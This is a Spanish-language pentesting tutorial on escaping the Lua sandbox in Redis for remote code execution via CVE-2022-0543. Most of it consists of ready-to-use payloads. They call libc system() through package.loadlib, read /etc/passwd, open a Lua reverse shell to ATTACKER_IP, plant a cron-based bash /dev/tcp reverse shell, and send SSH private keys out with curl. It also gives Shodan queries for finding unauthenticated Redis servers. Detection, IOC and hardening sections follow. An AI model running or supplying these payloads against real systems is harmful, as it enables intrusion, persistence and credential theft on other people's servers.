bug-bounty

Redis RCE via Lua Sandboxing

Ejecución remota de comandos mediante el motor de scripts Lua en Redis.

Pentester
22 minutos
CVSS 9.6
Enero 2026

Redis y el Peligro de Eval

Redis, la popular base de datos en memoria, permite ejecutar scripts Lua mediante el comando EVAL. Aunque Lua está "sandboxeado" para seguridad, existen múltiples formas de escapar del sandbox y ejecutar comandos del sistema.

Impacto Crítico

Un atacante que logre escapar del sandbox Lua puede:
  • Ejecutar comandos shell arbitrarios (RCE)
  • Leer/escribir archivos del sistema
  • Escalar privilegios si Redis corre como root
  • Pivotar a otros servicios internos

1. El Sandbox de Lua en Redis

¿Qué está Permitido?

Por defecto, Redis deshabilita funciones peligrosas de Lua:

Funciones bloqueadas
lua
-- ❌ Bloqueadas por defecto
os.execute()     -- Ejecutar comandos shell
io.open()        -- Abrir archivos
require()        -- Cargar módulos externos
loadfile()       -- Cargar código desde archivo
dofile()         -- Ejecutar archivo Lua

Script Lua Básico en Redis

Ejemplo legítimo
bash
redis-cli EVAL "return redis.call('GET', 'mykey')" 0

# Incrementar contador atómicamente
redis-cli EVAL "local val = redis.call('GET', KEYS[1]) or 0; redis.call('SET', KEYS[1], val+1); return val+1" 1 counter

2. Bypass del Sandbox

Técnica 1: Package.loadlib (CVE-2022-0543)

En versiones vulnerables, package.loadlib permite cargar librerías nativas:

Payload - Cargar librería maliciosa
lua
-- Cargar libc.so para acceder a system()
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/libc.so.6", "system")
io_l("id > /tmp/pwned.txt")
Ejecución en Redis
redis-cli EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/libc.so.6","system"); io_l("whoami > /tmp/output.txt")' 0 # Verificar cat /tmp/output.txt # redis

Versiones Afectadas

Redis < 6.2.7 y < 7.0 con Debian packages que incluyen librería LuaJIT vulnerable.

Técnica 2: Debug Library Abuse

Payload - Usar debug.getregistry()
lua
-- Acceder al registro de Lua para restaurar funciones bloqueadas
local dbg = debug.getregistry()
local io = dbg.io
local file = io.open("/etc/passwd", "r")
local content = file:read("*all")
file:close()
return content

Técnica 3: Metatable Manipulation

Payload - Modificar metatables
lua
-- Manipular metatables para acceder a funciones protegidas
local mt = getmetatable(_G)
if mt then
    local __index = mt.__index
    local os = __index.os
    return os.execute("cat /etc/passwd")
end

3. Explotación Completa

Reverse Shell con Lua

Payload - Reverse Shell
lua
-- Cargar socket library y conectar a atacante
local socket = package.loadlib("/usr/lib/lua/5.1/socket/core.so", "luaopen_socket_core")()
local tcp = socket.tcp()
tcp:connect("ATTACKER_IP", 4444)

while true do
    local cmd, err = tcp:receive()
    if not cmd then break end
    
    local io_l = package.loadlib("/lib/x86_64-linux-gnu/libc.so.6", "system")
    io_l(cmd)
end
Listener en máquina atacante
nc -lvnp 4444 # Al recibir conexión, puedes ejecutar comandos: whoami id cat /etc/redis/redis.conf

Escribir Cron Job Malicioso

Payload - Persistencia vía cron
lua
-- Escribir cronjob para reverse shell persistente
local io_l = package.loadlib("/lib/x86_64-linux-gnu/libc.so.6", "system")
io_l("echo '* * * * * /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"' | crontab -")

Robo de Claves SSH

Payload - Exfiltrar SSH keys
lua
local io_l = package.loadlib("/lib/x86_64-linux-gnu/libc.so.6", "system")
io_l("cat ~/.ssh/id_rsa | curl -X POST -d @- http://ATTACKER_IP:8000/exfil")

4. Detección de Explotación

Monitorear Comandos EVAL

Log analysis con grep
bash
# Revisar logs de Redis
grep "EVAL" /var/log/redis/redis-server.log

# Buscar patrones sospechosos
grep -E "(package.loadlib|debug.getregistry|os.execute)" /var/log/redis/redis-server.log

Monitor en Tiempo Real

Usar MONITOR de Redis
bash
redis-cli MONITOR | grep -i "eval"

# Salida sospechosa:
# EVAL "local io_l = package.loadlib..." 0

Indicadores de Compromiso (IOCs)

  • Comandos EVAL con package.loadlib
  • Conexiones de red inesperadas desde proceso Redis
  • Archivos creados en /tmp/ o /var/tmp/
  • Cambios en crontabs de usuario redis

Mitigación y Hardening

Mejores Prácticas de Seguridad

  • Actualizar Redis: Usar versión ≥ 6.2.7 o ≥ 7.0 (parchan CVE-2022-0543)
  • Deshabilitar EVAL: Renombrar comando EVAL en redis.conf
  • Firewall: Redis NO debe estar expuesto a Internet
  • Autenticación: Siempre usar requirepass
  • Usuario No-Root: Nunca correr Redis como root
  • AppArmor/SELinux: Restringir capacidades del proceso
redis.conf - Configuración segura
conf
# Deshabilitar comandos peligrosos
rename-command EVAL ""
rename-command SCRIPT ""
rename-command CONFIG ""
rename-command SHUTDOWN ""
rename-command FLUSHALL ""

# Autenticación fuerte
requirepass TuPasswordSeguraAqui123!

# Bind solo a localhost
bind 127.0.0.1 ::1

# Deshabilitar protected mode SOLO si usas firewall
protected-mode yes

# Límite de memoria
maxmemory 256mb
maxmemory-policy allkeys-lru
AppArmor profile restrictivo
bash
# /etc/apparmor.d/usr.bin.redis-server
#include <tunables/global>

/usr/bin/redis-server {
  #include <abstractions/base>
  
  # Permitir solo archivos necesarios
  /var/lib/redis/** rw,
  /var/log/redis/** w,
  /etc/redis/** r,
  
  # Bloquear ejecución de binarios
  deny /bin/** x,
  deny /usr/bin/** x,
  deny /sbin/** x,
  
  # Bloquear acceso a archivos sensibles
  deny /etc/passwd r,
  deny /etc/shadow r,
  deny /root/** rw,
}

5. Hunting en Shodan

Queries para encontrar Redis expuestos
text
product:"Redis" port:6379

# Redis sin autenticación
"redis_version" -"Authentication required"

# Redis con EVAL habilitado
"redis_version" "eval"
Encontrar instancias Redis expuestas en Shodan es trivial. Miles de servidores vulnerables están accesibles públicamente sin autenticación.

Siguiente: Cassandra Injection

Cassandra CQL Injection
Por Aitana Security Team